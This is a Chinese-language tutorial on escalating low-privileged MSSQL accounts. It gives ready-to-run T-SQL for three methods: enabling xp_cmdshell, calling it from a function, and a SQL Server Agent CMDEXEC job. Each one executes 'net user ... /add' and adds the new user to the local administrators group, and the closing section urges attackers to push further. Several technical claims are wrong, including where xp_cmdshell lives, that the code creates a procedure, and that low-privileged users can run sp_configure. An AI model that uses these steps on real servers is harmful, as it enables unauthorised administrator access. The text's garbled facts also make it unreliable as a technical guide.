1. MSSQL 低权限提升简介
在 MSSQL 中,低权限账号会受到一些限制,在使用基本命令时可能会遇到一些问题,甚至无法使用某些常见的命令。为了完成某些任务,我们需要提升权限。低权限提升(Low-privileged escalation)是指通过利用一些漏洞或者技术手段成功将低权限账号提升为高权限账号。
2. MSSQL 低权限提升的方法
2.1 利用 xp_cmdshell 提升权限
xp_cmdshell 是 MSSQL 中的一个系统存储过程,用于在 SQL Server 中执行命令。xp_cmdshell 存在于 msdb 数据库中。如果当前用户拥有 msdb 数据库的 db_owner 角色,那么该用户就可以执行 xp_cmdshell 存储过程并执行任意命令。我们可以使用这个漏洞来提升当前用户的权限,以下是一个利用过程的演示代码:
-- 利用 xp_cmdshell 提升 MSSQL 低权限账号为系统管理员账号
-- 创建一个名为 xp_cmdshell 的存储过程
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 运行 xp_cmdshell 存储过程,并提升当前用户为系统管理员
xp_cmdshell 'net user lowpriv Hacked123! /add && net localgroup administrators lowpriv /add'
上述代码将创建一个名为 xp_cmdshell 的存储过程,随后将 lowpriv 提升为管理员账号,具体语法可以参考 MSSQL 官方文档。运行完成后,我们可以使用新增的管理员账号进行操作。
2.2 利用 UDF 提升权限
UDF(User-defined function)是 MSSQL 中自定义函数的一种方式。它可以让用户自己编写一些函数来执行特定的操作。UDF 通常存在于用户创建的数据库中,而非系统数据库中。但是,如果当前用户拥有了一个数据库的创建权限,则该用户也可以在系统数据库中创建 UDF 并执行该函数,从而提升当前用户的权限。
-- 利用 UDF 提升 MSSQL 低权限账号为 dbo 账号
-- 创建一个 UDF
USE master;
CREATE FUNCTION dbo.udf_GetAdmin ()
RETURNS INT
AS
BEGIN
EXEC master..xp_cmdshell 'net user lowpriv2 Hacked123 /add && net localgroup administrators lowpriv2 /add'
RETURN 1
END
-- 运行 UDF
SELECT dbo.udf_GetAdmin()
上述代码将创建一个 UDF 并在其中运行 xp_cmdshell,从而提升当前用户的权限。需要注意的是,创建 UDF 的过程需要具有创建数据库的权限。
2.3 利用定时作业提升权限
MSSQL 中的定时任务(Job)可以在指定的时间执行一些操作,包括 SQL 脚本、操作系统命令等。如果当前用户拥有创建定时任务的权限,则可以通过创建定时任务的方式提升当前用户的权限。
-- 利用 SQL Server 定时作业提升 MSSQL 低权限账号为系统管理员
-- 创建 SQL Server Agent 作业,通过 xp_cmdshell 执行命令
USE msdb
GO
EXEC sp_add_job @job_name='MyJob'
EXEC sp_add_jobstep @job_name='MyJob', @step_name='Step1', @subsystem='CMDEXEC',
@command='net user lowpriv3 Hacked123 /add && net localgroup administrators lowpriv3 /add'
EXEC sp_add_jobserver @job_name='MyJob'
-- 启动 SQL Server Agent,执行定时任务
EXEC msdb.dbo.sp_start_job 'MyJob'
以上代码将创建一个 SQL Server 定时作业(Job),并在其中运行 xp_cmdshell 命令,从而提升当前用户的权限。需要注意的是,创建作业的过程需要具有 SQL Server Agent 操作权限。
3. 总结
在 MSSQL 中,提升低权限账户为高权限账户是一项具有挑战的任务。但是,通过利用一些漏洞和技巧,可以有效地提升权限,并完成任务。以上三种方法仅是提升权限的几种方法,攻击者还可以结合漏洞库和自己的技巧进行更高效的攻击。